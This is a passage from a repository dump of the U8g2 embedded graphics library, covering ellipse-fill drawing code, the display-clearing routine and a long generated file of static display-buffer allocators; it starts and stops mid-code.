u8g2_DrawVLine(u8g2, x0-x, y0-y, y+1); } /* lower right */ if ( option & U8G2_DRAW_LOWER_RIGHT ) { u8g2_DrawVLine(u8g2, x0+x, y0, y+1); } /* lower left */ if ( option & U8G2_DRAW_LOWER_LEFT ) { u8g2_DrawVLine(u8g2, x0-x, y0, y+1); } } static void u8g2_draw_filled_ellipse(u8g2_t *u8g2, u8g2_uint_t x0, u8g2_uint_t y0, u8g2_uint_t rx, u8g2_uint_t ry, uint8_t option) { u8g2_uint_t x, y; u8g2_long_t xchg, ychg; u8g2_long_t err; u8g2_long_t rxrx2; u8g2_long_t ryry2; u8g2_long_t stopx, stopy; rxrx2 = rx; rxrx2 *= rx; rxrx2 *= 2; ryry2 = ry; ryry2 *= ry; ryry2 *= 2; x = rx; y = 0; xchg = 1; xchg -= rx; xchg -= rx; xchg *= ry; xchg *= ry; ychg = rx; ychg *= rx; err = 0; stopx = ryry2; stopx *= rx; stopy = 0; while( stopx >= stopy ) { u8g2_draw_filled_ellipse_section(u8g2, x, y, x0, y0, option); y++; stopy += rxrx2; err += ychg; ychg += rxrx2; if ( 2*err+xchg > 0 ) { x--; stopx -= ryry2; err += xchg; xchg += ryry2; } } x = 0; y = ry; xchg = ry; xchg *= ry; ychg = 1; ychg -= ry; ychg -= ry; ychg *= rx; ychg *= rx; err = 0; stopx = 0; stopy = rxrx2; stopy *= ry; while( stopx <= stopy ) { u8g2_draw_filled_ellipse_section(u8g2, x, y, x0, y0, option); x++; stopx += ryry2; err += xchg; xchg += ryry2; if ( 2*err+ychg > 0 ) { y--; stopy -= rxrx2; err += ychg; ychg += rxrx2; } } } void u8g2_DrawFilledEllipse(u8g2_t *u8g2, u8g2_uint_t x0, u8g2_uint_t y0, u8g2_uint_t rx, u8g2_uint_t ry, uint8_t option) { /* check for bounding box */ #ifdef U8G2_WITH_INTERSECTION { if ( u8g2_IsIntersection(u8g2, x0-rx, y0-ry, x0+rx+1, y0+ry+1) == 0 ) return; } #endif /* U8G2_WITH_INTERSECTION */ u8g2_draw_filled_ellipse(u8g2, x0, y0, rx, ry, option); } ================================================ FILE: Bibliotecas/U8g2/src/clib/u8g2_cleardisplay.c ================================================ /* u8g2_cleardisplay.c Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/) Copyright (c) 2016, olikraus@gmail.com All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include "u8g2.h" /* Clear screen buffer & display reliable for all u8g2 displays. */ /* This is done with u8g2 picture loop, because we can not use the u8x8 function in all cases */ void u8g2_ClearDisplay(u8g2_t *u8g2) { u8g2_FirstPage(u8g2); do { } while ( u8g2_NextPage(u8g2) ); /* This function is usually called during startup (u8g2.begin()). However the user might want to use full buffer mode with clear and send commands. This will not work because the current tile row is modified by the picture loop above. To fix this, reset the tile row to 0, issue #370 A workaround would be, that the user sets the current tile row to 0 manually. */ u8g2_SetBufferCurrTileRow(u8g2, 0); } ================================================ FILE: Bibliotecas/U8g2/src/clib/u8g2_d_memory.c ================================================ /* u8g2_d_memory.c */ /* generated code, codebuild, u8g2 project */ #include "u8g2.h" uint8_t *u8g2_m_16_4_1(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 1; return 0; #else static uint8_t buf[128]; *page_cnt = 1; return buf; #endif } uint8_t *u8g2_m_16_4_2(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 2; return 0; #else static uint8_t buf[256]; *page_cnt = 2; return buf; #endif } uint8_t *u8g2_m_16_4_f(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 4; return 0; #else static uint8_t buf[512]; *page_cnt = 4; return buf; #endif } uint8_t *u8g2_m_16_8_1(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 1; return 0; #else static uint8_t buf[128]; *page_cnt = 1; return buf; #endif } uint8_t *u8g2_m_16_8_2(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 2; return 0; #else static uint8_t buf[256]; *page_cnt = 2; return buf; #endif } uint8_t *u8g2_m_16_8_f(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 8; return 0; #else static uint8_t buf[1024]; *page_cnt = 8; return buf; #endif } uint8_t *u8g2_m_255_2_1(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 1; return 0; #else static uint8_t buf[2040]; *page_cnt = 1; return buf; #endif } uint8_t *u8g2_m_255_2_2(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 2; return 0; #else static uint8_t buf[4080]; *page_cnt = 2; return buf; #endif } uint8_t *u8g2_m_255_2_f(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 2; return 0; #else static uint8_t buf[4080]; *page_cnt = 2; return buf; #endif } uint8_t *u8g2_m_9_5_1(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 1; return 0; #else static uint8_t buf[72]; *page_cnt = 1; return buf; #endif } uint8_t *u8g2_m_9_5_2(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 2; return 0; #else static uint8_t buf[144]; *page_cnt = 2; return buf; #endif } uint8_t *u8g2_m_9_5_f(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 5; return 0; #else static uint8_t buf[360]; *page_cnt = 5; return buf; #endif } uint8_t *u8g2_m_12_5_1(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 1; return 0; #else static uint8_t buf[96]; *page_cnt = 1; return buf; #endif } uint8_t *u8g2_m_12_5_2(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 2; return 0; #else static uint8_t buf[192]; *page_cnt = 2; return buf; #endif } uint8_t *u8g2_m_12_5_f(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 5; return 0; #else static uint8_t buf[480]; *page_cnt = 5; return buf; #endif } uint8_t *u8g2_m_8_4_1(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 1; return 0; #else static uint8_t buf[64]; *page_cnt = 1; return buf; #endif } uint8_t *u8g2_m_8_4_2(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 2; return 0; #else static uint8_t buf[128]; *page_cnt = 2; return buf; #endif } uint8_t *u8g2_m_8_4_f(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 4; return 0; #else static uint8_t buf[256]; *page_cnt = 4; return buf; #endif } uint8_t *u8g2_m_8_16_1(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 1; return 0; #else static uint8_t buf[64]; *page_cnt = 1; return buf; #endif } uint8_t *u8g2_m_8_16_2(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 2; return 0; #else static uint8_t buf[128]; *page_cnt = 2; return buf; #endif } uint8_t *u8g2_m_8_16_f(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 16; return 0; #else static uint8_t buf[1024]; *page_cnt = 16; return buf; #endif } uint8_t *u8g2_m_12_12_1(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 1; return 0; #else static uint8_t buf[96]; *page_cnt = 1; return buf; #endif } uint8_t *u8g2_m_12_12_2(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 2; return 0; #else static uint8_t buf[192]; *page_cnt = 2; return buf; #endif } uint8_t *u8g2_m_12_12_f(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 12; return 0; #else static uint8_t buf[1152]; *page_cnt = 12; return buf; #endif } uint8_t *u8g2_m_10_16_1(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 1; return 0; #else static uint8_t buf[80]; *page_cnt = 1; return buf; #endif } uint8_t *u8g2_m_10_16_2(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 2; return 0; #else static uint8_t buf[160]; *page_cnt = 2; return buf; #endif } uint8_t *u8g2_m_10_16_f(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 16; return 0; #else static uint8_t buf[1280]; *page_cnt = 16; return buf; #endif } uint8_t *u8g2_m_16_16_1(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 1; return 0; #else static uint8_t buf[128]; *page_cnt = 1; return buf; #endif } uint8_t *u8g2_m_16_16_2(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 2; return 0; #else static uint8_t buf[256]; *page_cnt = 2; return buf; #endif } uint8_t *u8g2_m_16_16_f(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 16; return 0; #else static uint8_t buf[2048]; *page_cnt = 16; return buf; #endif } uint8_t *u8g2_m_16_20_1(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 1; return 0; #else static uint8_t buf[128]; *page_cnt = 1; return buf; #endif } uint8_t *u8g2_m_16_20_2(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 2; return 0; #else static uint8_t buf[256]; *page_cnt = 2; return buf; #endif } uint8_t *u8g2_m_16_20_f(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 20; return 0; #else static uint8_t buf[2560]; *page_cnt = 20; return buf; #endif } uint8_t *u8g2_m_20_20_1(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 1; return 0; #else static uint8_t buf[160]; *page_cnt = 1; return buf; #endif } uint8_t *u8g2_m_20_20_2(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 2; return 0; #else static uint8_t buf[320]; *page_cnt = 2; return buf; #endif } uint8_t *u8g2_m_20_20_f(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 20; return 0; #else static uint8_t buf[3200]; *page_cnt = 20; return buf; #endif } uint8_t *u8g2_m_32_8_1(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 1; return 0; #else static uint8_t buf[256]; *page_cnt = 1; return buf; #endif } uint8_t *u8g2_m_32_8_2(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 2; return 0; #else static uint8_t buf[512]; *page_cnt = 2; return buf; #endif } uint8_t *u8g2_m_32_8_f(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 8; return 0; #else static uint8_t buf[2048]; *page_cnt = 8; return buf; #endif } uint8_t *u8g2_m_13_8_1(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 1; return 0; #else static uint8_t buf[104]; *page_cnt = 1; return buf; #endif } uint8_t *u8g2_m_13_8_2(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 2; return 0; #else static uint8_t buf[208]; *page_cnt = 2; return buf; #endif } uint8_t *u8g2_m_13_8_f(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 8; return 0; #else static uint8_t buf[832]; *page_cnt = 8; return buf; #endif } uint8_t *u8g2_m_8_6_1(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 1; return 0; #else static uint8_t buf[64]; *page_cnt = 1; return buf; #endif } uint8_t *u8g2_m_8_6_2(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 2; return 0; #else static uint8_t buf[128]; *page_cnt = 2; return buf; #endif } uint8_t *u8g2_m_8_6_f(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 6; return 0; #else static uint8_t buf[384]; *page_cnt = 6; return buf; #endif } uint8_t *u8g2_m_6_8_1(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 1; return 0; #else static uint8_t buf[48]; *page_cnt = 1; return buf; #endif } uint8_t *u8g2_m_6_8_2(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 2; return 0; #else static uint8_t buf[96]; *page_cnt = 2; return buf; #endif } uint8_t *u8g2_m_6_8_f(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 8; return 0; #else static uint8_t buf[384]; *page_cnt = 8; return buf; #endif } uint8_t *u8g2_m_12_2_1(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 1; return 0; #else static uint8_t buf[96]; *page_cnt = 1; return buf; #endif } uint8_t *u8g2_m_12_2_2(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 2; return 0; #else static uint8_t buf[192]; *page_cnt = 2; return buf; #endif } uint8_t *u8g2_m_12_2_f(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 2; return 0; #else static uint8_t buf[192]; *page_cnt = 2; return buf; #endif } uint8_t *u8g2_m_12_4_1(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 1; return 0; #else static uint8_t buf[96]; *page_cnt = 1; return buf; #endif } uint8_t *u8g2_m_12_4_2(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 2; return 0; #else static uint8_t buf[192]; *page_cnt = 2; return buf; #endif } uint8_t *u8g2_m_12_4_f(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 4; return 0; #else static uint8_t buf[384]; *page_cnt = 4; return buf; #endif } uint8_t *u8g2_m_16_12_1(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 1; return 0; #else static uint8_t buf[128]; *page_cnt = 1; return buf; #endif } uint8_t *u8g2_m_16_12_2(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 2; return 0; #else static uint8_t buf[256]; *page_cnt = 2; return buf; #endif } uint8_t *u8g2_m_16_12_f(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 12; return 0; #else static uint8_t buf[1536]; *page_cnt = 12; return buf; #endif } uint8_t *u8g2_m_32_4_1(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 1; return 0; #else static uint8_t buf[256]; *page_cnt = 1; return buf; #endif } uint8_t *u8g2_m_32_4_2(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 2; return 0; #else static uint8_t buf[512]; *page_cnt = 2; return buf; #endif } uint8_t *u8g2_m_32_4_f(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 4; return 0; #else static uint8_t buf[1024]; *page_cnt = 4; return buf; #endif } uint8_t *u8g2_m_12_8_1(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 1; return 0; #else static uint8_t buf[96]; *page_cnt = 1; return buf; #endif } uint8_t *u8g2_m_12_8_2(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 2; return 0; #else static uint8_t buf[192]; *page_cnt = 2; return buf; #endif } uint8_t *u8g2_m_12_8_f(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 8; return 0; #else static uint8_t buf[768]; *page_cnt = 8; return buf; #endif } uint8_t *u8g2_m_16_5_1(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 1; return 0; #else static uint8_t buf[128]; *page_cnt = 1; return buf; #endif } uint8_t *u8g2_m_16_5_2(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 2; return 0; #else static uint8_t buf[256]; *page_cnt = 2; return buf; #endif } uint8_t *u8g2_m_16_5_f(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 5; return 0; #else static uint8_t buf[640]; *page_cnt = 5; return buf; #endif } uint8_t *u8g2_m_18_4_1(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 1; return 0; #else static uint8_t buf[144]; *page_cnt = 1; return buf; #endif } uint8_t *u8g2_m_18_4_2(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 2; return 0; #else static uint8_t buf[288]; *page_cnt = 2; return buf; #endif } uint8_t *u8g2_m_18_4_f(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 4; return 0; #else static uint8_t buf[576]; *page_cnt = 4; return buf; #endif } uint8_t *u8g2_m_20_4_1(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 1; return 0; #else static uint8_t buf[160]; *page_cnt = 1; return buf; #endif } uint8_t *u8g2_m_20_4_2(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 2; return 0; #else static uint8_t buf[320]; *page_cnt = 2; return buf; #endif } uint8_t *u8g2_m_20_4_f(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 4; return 0; #else static uint8_t buf[640]; *page_cnt = 4; return buf; #endif } uint8_t *u8g2_m_24_4_1(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 1; return 0; #else static uint8_t buf[192]; *page_cnt = 1; return buf; #endif } uint8_t *u8g2_m_24_4_2(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 2; return 0; #else static uint8_t buf[384]; *page_cnt = 2; return buf; #endif } uint8_t *u8g2_m_24_4_f(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 4; return 0; #else static uint8_t buf[768]; *page_cnt = 4; return buf; #endif } uint8_t *u8g2_m_50_30_1(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 1; return 0; #else static uint8_t buf[400]; *page_cnt = 1; return buf; #endif } uint8_t *u8g2_m_50_30_2(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 2; return 0; #else static uint8_t buf[800]; *page_cnt = 2; return buf; #endif } uint8_t *u8g2_m_50_30_f(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 30; return 0; #else static uint8_t buf[12000]; *page_cnt = 30; return buf; #endif } uint8_t *u8g2_m_18_21_1(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 1; return 0; #else static uint8_t buf[144]; *page_cnt = 1; return buf; #endif } uint8_t *u8g2_m_18_21_2(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 2; return 0; #else static uint8_t buf[288]; *page_cnt = 2; return buf; #endif } uint8_t *u8g2_m_18_21_f(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 21; return 0; #else static uint8_t buf[3024]; *page_cnt = 21; return buf; #endif } uint8_t *u8g2_m_11_6_1(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 1; return 0; #else static uint8_t buf[88]; *page_cnt = 1; return buf; #endif } uint8_t *u8g2_m_11_6_2(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 2; return 0; #else static uint8_t buf[176]; *page_cnt = 2; return buf; #endif } uint8_t *u8g2_m_11_6_f(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 6; return 0; #else static uint8_t buf[528]; *page_cnt = 6; return buf; #endif } uint8_t *u8g2_m_12_9_1(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 1; return 0; #else static uint8_t buf[96]; *page_cnt = 1; return buf; #endif } uint8_t *u8g2_m_12_9_2(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 2; return 0; #else static uint8_t buf[192]; *page_cnt = 2; return buf; #endif } uint8_t *u8g2_m_12_9_f(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 9; return 0; #else static uint8_t buf[864]; *page_cnt = 9; return buf; #endif } uint8_t *u8g2_m_24_8_1(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 1; return 0; #else static uint8_t buf[192]; *page_cnt = 1; return buf; #endif } uint8_t *u8g2_m_24_8_2(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 2; return 0; #else static uint8_t buf[384]; *page_cnt = 2; return buf; #endif } uint8_t *u8g2_m_24_8_f(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 8; return 0; #else static uint8_t buf[1536]; *page_cnt = 8; return buf; #endif } uint8_t *u8g2_m_30_8_1(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 1; return 0; #else static uint8_t buf[240]; *page_cnt = 1; return buf; #endif } uint8_t *u8g2_m_30_8_2(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 2; return 0; #else static uint8_t buf[480]; *page_cnt = 2; return buf; #endif } uint8_t *u8g2_m_30_8_f(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 8; return 0; #else static uint8_t buf[1920]; *page_cnt = 8; return buf; #endif } uint8_t *u8g2_m_30_15_1(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 1; return 0; #else static uint8_t buf[240]; *page_cnt = 1; return buf; #endif } uint8_t *u8g2_m_30_15_2(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 2; return 0; #else static uint8_t buf[480]; *page_cnt = 2; return buf; #endif } uint8_t *u8g2_m_30_15_f(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 15; return 0; #else static uint8_t buf[3600]; *page_cnt = 15; return buf; #endif } uint8_t *u8g2_m_30_16_1(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 1; return 0; #else static uint8_t buf[240]; *page_cnt = 1; return buf; #endif } uint8_t *u8g2_m_30_16_2(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 2; return 0; #else static uint8_t buf[480]; *page_cnt = 2; return buf; #endif } uint8_t *u8g2_m_30_16_f(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 16; return 0; #else static uint8_t buf[3840]; *page_cnt = 16; return buf; #endif } uint8_t *u8g2_m_20_16_1(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 1; return 0; #else static uint8_t buf[160]; *page_cnt = 1; return buf; #endif } uint8_t *u8g2_m_20_16_2(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 2; return 0; #else static uint8_t buf[320]; *page_cnt = 2; return buf; #endif } uint8_t *u8g2_m_20_16_f(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 16; return 0; #else static uint8_t buf[2560]; *page_cnt = 16; return buf; #endif } uint8_t *u8g2_m_24_12_1(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 1; return 0; #else static uint8_t buf[192]; *page_cnt = 1; return buf; #endif } uint8_t *u8g2_m_24_12_2(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 2; return 0; #else static uint8_t buf[384]; *page_cnt = 2; return buf; #endif } uint8_t *u8g2_m_24_12_f(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 12; return 0; #else static uint8_t buf[2304]; *page_cnt = 12; return buf; #endif } uint8_t *u8g2_m_20_13_1(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 1; return 0; #else static uint8_t buf[160]; *page_cnt = 1; return buf; #endif } uint8_t *u8g2_m_20_13_2(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 2; return 0; #else static uint8_t buf[320]; *page_cnt = 2; return buf; #endif } uint8_t *u8g2_m_20_13_f(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 13; return 0; #else static uint8_t buf[2080]; *page_cnt = 13; return buf; #endif } uint8_t *u8g2_m_30_20_1(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 1; return 0; #else static uint8_t buf[240]; *page_cnt = 1; return buf; #endif } uint8_t *u8g2_m_30_20_2(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 2; return 0; #else static uint8_t buf[480]; *page_cnt = 2; return buf; #endif } uint8_t *u8g2_m_30_20_f(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 20; return 0; #else static uint8_t buf[4800]; *page_cnt = 20; return buf; #endif } uint8_t *u8g2_m_32_16_1(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 1; return 0; #else static uint8_t buf[256]; *page_cnt = 1; return buf; #endif } uint8_t *u8g2_m_32_16_2(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 2; return 0; #else static uint8_t buf[512]; *page_cnt = 2; return buf; #endif } uint8_t *u8g2_m_32_16_f(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 16; return 0; #else static uint8_t buf[4096]; *page_cnt = 16; return buf; #endif } uint8_t *u8g2_m_40_30_1(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 1; return 0; #else static uint8_t buf[320]; *page_cnt = 1; return buf; #endif } uint8_t *u8g2_m_40_30_2(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 2; return 0; #else static uint8_t buf[640]; *page_cnt = 2; return buf; #endif } uint8_t *u8g2_m_40_30_f(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 30; return 0; #else static uint8_t buf[9600]; *page_cnt = 30; return buf; #endif } uint8_t *u8g2_m_20_8_1(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 1; return 0; #else static uint8_t buf[160]; *page_cnt = 1; return buf; #endif } uint8_t *u8g2_m_20_8_2(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 2; return 0; #else static uint8_t buf[320]; *page_cnt = 2; return buf; #endif } uint8_t *u8g2_m_20_8_f(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 8; return 0; #else static uint8_t buf[1280]; *page_cnt = 8; return buf; #endif } uint8_t *u8g2_m_17_4_1(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 1; return 0; #else static uint8_t buf[136]; *page_cnt = 1; return buf; #endif } uint8_t *u8g2_m_17_4_2(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 2; return 0; #else static uint8_t buf[272]; *page_cnt = 2; return buf; #endif } uint8_t *u8g2_m_17_4_f(uint8_t *page_cnt) { #ifdef U8G2_USE_DYNAMIC_ALLOC *page_cnt = 4; return 0; #else static uint8_t buf[544]; *page_cnt = 